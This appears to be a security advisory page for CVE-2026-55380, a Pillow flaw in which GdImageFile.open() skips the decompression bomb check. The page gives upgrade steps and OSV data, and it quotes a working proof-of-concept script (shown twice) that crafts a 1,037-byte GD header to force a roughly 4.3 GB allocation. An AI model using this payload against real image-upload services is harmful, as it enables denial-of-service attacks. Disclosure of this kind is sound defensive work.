CVE-2026-55380: Pillow Image Dimensions Accepted Without `_decompression_bomb_check()` Vulnerability

HIGH
Advisory Identifier: GHSA-phj9-mv4w-65pm
CVSS 7.5
CWE-789
Published
Advisory Summary

CVE-2026-55380 is a HIGH (CVSS 7.5) image dimensions accepted without `_decompression_bomb_check()` vulnerability (CWE-789: Memory Allocation with Excessive Size Value) affecting Pillow libraries in the PyPI ecosystem. The issue involves image dimensions accepted without `_decompression_bomb_check()`. Remediation is available by upgrading affected packages to version 12.3.0.

CVE-2026-55380 at a Glance

CVE Identifier CVE-2026-55380
GHSA Identifier GHSA-phj9-mv4w-65pm
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-789: Memory Allocation with Excessive Size Value
Affected Product Pillow
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-55380

To remediate this vulnerability, upgrade all affected Pillow dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pillow fixed: 12.3.0
pip install pillow>=12.3.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show pillow

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-55380, inspect your installed packages using pip:

pip show pillow

Analyze the terminal output to locate any version of Pillow in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 12.3.0), your application is affected.

Note: The pip show pillow command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-789: Memory Allocation with Excessive Size Value, where the product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated. In Pillow, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Description `PIL/GdImageFile.py` `GdImageFile._open()` reads image dimensions from the GD 2.x header and stores them in `self._size` without calling `Image._decompression_bomb_check()`. Because `GdImageFile` is **not registered with `Image.register_open()`**, it never passes through the standard `Image.open()` code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — `PIL.GdImageFile.open(fp)` — which directly instantiates the class, fully bypassing the documented protection. **Vulnerable code (`PIL/GdImageFile.py` lines 50–61):** ```python def _open(self) -> None: s = self.fp.read(1037) if i16(s) not in [65534, 65535]: raise SyntaxError("Not a valid GD 2.x .gd file") self._mode = "P" self._size = i16(s, 2), i16(s, 4) # ← unsigned 16-bit; max 65535 each # NO _decompression_bomb_check() call here ← ... self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")] ``` When `load()` is subsequently called on the returned image object: ```python load() → load_prepare() → Image.core.new("P", (65535, 65535)) # ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this ``` **Dimension arithmetic:** | Field | Value | |---|---| | Maximum width from header | 65,535 (unsigned 16-bit) | | Maximum height from header | 65,535 (unsigned 16-bit) | | Maximum pixel count | 65,535 × 65,535 = **4,294,836,225** | | `DecompressionBombError` threshold | 178,956,970 (2 × MAX_IMAGE_PIXELS) | | **Overshoot ratio** | **24× above DecompressionBombError threshold** | | Memory at max dimensions | **≈ 4.3 GB** (palette-mode: 1 byte/pixel) | | Minimum attack file size | **1,037 bytes** (header only — no pixel data needed) | **Comparison with safe sibling plugin (`WalImageFile`):** `WalImageFile` is in the same category — not registered with `Image.open()`, loaded via its own `open()` helper. It was previously patched with the correct fix: ```python # PIL/WalImageFile.py line 46 — CORRECT pattern (already patched) self._size = i32(header, 32), i32(header, 36) Image._decompression_bomb_check(self.size) # ← present ``` `GdImageFile` was never updated to match, leaving a gap in protection. ## Steps to reproduce **Proof of Concept script:** ```python #!/usr/bin/env python3 """ PoC: GdImageFile decompression bomb bypass 1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check """ import io, struct from PIL import GdImageFile, Image # Build minimal 1037-byte GD 2.x palette-mode header: # sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024) sig = struct.pack(">H", 0xFFFE) # 65534 = GD 2.x magic w = struct.pack(">H", 65535) # max width h = struct.pack(">H", 65535) # max height true_color = b"\x00" # 0 = palette mode tindex = struct.pack(">I", 0xFFFFFFFF) # > 255 = no transparency colors_used = b"\x00\x00" palette_data = b"\x00" * 1024 header = sig + w + h + true_color + tindex + colors_used + palette_data assert len(header) == 1037 # Confirm: standard Image.open() path BLOCKS this size try: Image._decompression_bomb_check((65535, 65535)) except Image.DecompressionBombError as e: print(f"[BLOCKED] Image.open() path: {e}") # Vulnerable path: GdImageFile.open() has NO bomb check img = GdImageFile.open(io.BytesIO(header)) print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}") print(f" No _decompression_bomb_check called — 4.3 GB allocation not blocked") # Trigger load_prepare() → Image.core.new("P", (65535, 65535)) try: img.load() except OSError: print(f"[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted") print(f"\n[MATH] {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold") print(f"[MATH] Attack file: 1,037 bytes only") ``` **Expected output:** ``` [BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. [BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P No _decompression_bomb_check called — 4.3 GB allocation not blocked [INFO] load() OSError (no pixel data) — but C-heap allocation already attempted [MATH] 4,294,836,225 pixels = 24.0× error threshold [MATH] Attack file: 1,037 bytes only ``` **Verified live on Pillow 12.2.0.** **Two attack paths:** | Path | File size | Effect | |---|---|---| | Transient (header only) | **1,037 bytes** | `load_prepare()` attempts 4.3 GB C allocation → `OSError` after spike | | Persistent (full pixel data) | ~4.3 GB | `load()` completes, 4.3 GB stays in memory for object lifetime | For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file. **Real-world scenario:** ```python from PIL import GdImageFile # Application accepts user-uploaded .gd files img = GdImageFile.open(user_uploaded_file) # succeeds — no bomb check img.load() # triggers 4.3 GB C-heap allocation ``` ## Impact - **Availability:** HIGH — a single 1,037-byte malicious `.gd` file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down. - **Confidentiality:** None - **Integrity:** None - **Authentication required:** No — any public endpoint accepting image uploads is affected - **User interaction:** None Any service that calls `PIL.GdImageFile.open(user_file)` followed by `.load()` (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint. Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08.

CVE-2026-55380 Affected Pillow Versions

1 component(s)
Fixed Versions:
12.3.0
Product / Package Ecosystem Affected Versions Fixed Version
pillow
PyPI
< 12.3.0
12.3.0

References

Frequently Asked Questions

What is CVE-2026-55380?
CVE-2026-55380 is a security vulnerability in Pillow involving image dimensions accepted without `_decompression_bomb_check()` under CWE-789: Memory Allocation with Excessive Size Value.
Which Pillow versions are affected?
Affected versions include releases prior to 12.3.0 across affected packages: pillow.
What version fixes CVE-2026-55380?
Upgrading to 12.3.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pillow affected?
Yes, pillow is affected in releases prior to 12.3.0. Upgrade your dependency to 12.3.0 or later.
What is the CVSS score of CVE-2026-55380?
CVE-2026-55380 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-55380?
CVE-2026-55380 is classified under CWE-789: Memory Allocation with Excessive Size Value (The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.).
How can I check PyPI dependencies for CVE-2026-55380?
Run the dependency tree command: 'pip show pillow'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-phj9-mv4w-65pm",
  "modified" : "2026-07-20T21:13:35Z",
  "published" : "2026-07-20T21:13:35Z",
  "aliases" : [ "CVE-2026-55380" ],
  "summary" : "Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`",
  "details" : "## Description\n\n`PIL/GdImageFile.py` `GdImageFile._open()` reads image dimensions from the GD 2.x header and stores them in `self._size` without calling `Image._decompression_bomb_check()`. Because `GdImageFile` is **not registered with `Image.register_open()`**, it never passes through the standard `Image.open()` code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — `PIL.GdImageFile.open(fp)` — which directly instantiates the class, fully bypassing the documented protection.\n\n**Vulnerable code (`PIL/GdImageFile.py` lines 50–61):**\n\n```python\ndef _open(self) -> None:\n    s = self.fp.read(1037)\n    if i16(s) not in [65534, 65535]:\n        raise SyntaxError(\"Not a valid GD 2.x .gd file\")\n    self._mode = \"P\"\n    self._size = i16(s, 2), i16(s, 4)   # ← unsigned 16-bit; max 65535 each\n    # NO _decompression_bomb_check() call here ←\n    ...\n    self.tile = [ImageFile._Tile(\"raw\", (0, 0) + self.size, 1037, \"L\")]\n```\n\nWhen `load()` is subsequently called on the returned image object:\n\n```python\nload() → load_prepare() → Image.core.new(\"P\", (65535, 65535))\n# ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this\n```\n\n**Dimension arithmetic:**\n\n| Field | Value |\n|---|---|\n| Maximum width from header | 65,535 (unsigned 16-bit) |\n| Maximum height from header | 65,535 (unsigned 16-bit) |\n| Maximum pixel count | 65,535 × 65,535 = **4,294,836,225** |\n| `DecompressionBombError` threshold | 178,956,970 (2 × MAX_IMAGE_PIXELS) |\n| **Overshoot ratio** | **24× above DecompressionBombError threshold** |\n| Memory at max dimensions | **≈ 4.3 GB** (palette-mode: 1 byte/pixel) |\n| Minimum attack file size | **1,037 bytes** (header only — no pixel data needed) |\n\n**Comparison with safe sibling plugin (`WalImageFile`):**\n\n`WalImageFile` is in the same category — not registered with `Image.open()`, loaded via its own `open()` helper. It was previously patched with the correct fix:\n\n```python\n# PIL/WalImageFile.py line 46 — CORRECT pattern (already patched)\nself._size = i32(header, 32), i32(header, 36)\nImage._decompression_bomb_check(self.size)   # ← present\n```\n\n`GdImageFile` was never updated to match, leaving a gap in protection.\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: GdImageFile decompression bomb bypass\n1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check\n\"\"\"\nimport io, struct\nfrom PIL import GdImageFile, Image\n\n# Build minimal 1037-byte GD 2.x palette-mode header:\n#   sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)\nsig          = struct.pack(\">H\", 0xFFFE)       # 65534 = GD 2.x magic\nw            = struct.pack(\">H\", 65535)         # max width\nh            = struct.pack(\">H\", 65535)         # max height\ntrue_color   = b\"\\x00\"                          # 0 = palette mode\ntindex       = struct.pack(\">I\", 0xFFFFFFFF)    # > 255 = no transparency\ncolors_used  = b\"\\x00\\x00\"\npalette_data = b\"\\x00\" * 1024\nheader = sig + w + h + true_color + tindex + colors_used + palette_data\nassert len(header) == 1037\n\n# Confirm: standard Image.open() path BLOCKS this size\ntry:\n    Image._decompression_bomb_check((65535, 65535))\nexcept Image.DecompressionBombError as e:\n    print(f\"[BLOCKED] Image.open() path: {e}\")\n\n# Vulnerable path: GdImageFile.open() has NO bomb check\nimg = GdImageFile.open(io.BytesIO(header))\nprint(f\"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}\")\nprint(f\"         No _decompression_bomb_check called — 4.3 GB allocation not blocked\")\n\n# Trigger load_prepare() → Image.core.new(\"P\", (65535, 65535))\ntry:\n    img.load()\nexcept OSError:\n    print(f\"[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted\")\n\nprint(f\"\\n[MATH]   {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold\")\nprint(f\"[MATH]   Attack file: 1,037 bytes only\")\n```\n\n**Expected output:**\n```\n[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970\npixels, could be decompression bomb DOS attack.\n[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P\n         No _decompression_bomb_check called — 4.3 GB allocation not blocked\n[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted\n\n[MATH]   4,294,836,225 pixels = 24.0× error threshold\n[MATH]   Attack file: 1,037 bytes only\n```\n\n**Verified live on Pillow 12.2.0.**\n\n**Two attack paths:**\n\n| Path | File size | Effect |\n|---|---|---|\n| Transient (header only) | **1,037 bytes** | `load_prepare()` attempts 4.3 GB C allocation → `OSError` after spike |\n| Persistent (full pixel data) | ~4.3 GB | `load()` completes, 4.3 GB stays in memory for object lifetime |\n\nFor the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.\n\n**Real-world scenario:**\n```python\nfrom PIL import GdImageFile\n\n# Application accepts user-uploaded .gd files\nimg = GdImageFile.open(user_uploaded_file)   # succeeds — no bomb check\nimg.load()                                    # triggers 4.3 GB C-heap allocation\n```\n\n## Impact\n\n- **Availability:** HIGH — a single 1,037-byte malicious `.gd` file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down.\n- **Confidentiality:** None\n- **Integrity:** None\n- **Authentication required:** No — any public endpoint accepting image uploads is affected\n- **User interaction:** None\n\nAny service that calls `PIL.GdImageFile.open(user_file)` followed by `.load()` (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.\n\nConfirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pillow"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "12.3.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-55380"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2256.yaml"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/python-pillow/Pillow"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-789" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-20T21:13:35Z",
    "nvd_published_at" : "2026-07-06T19:17:08Z"
  }
}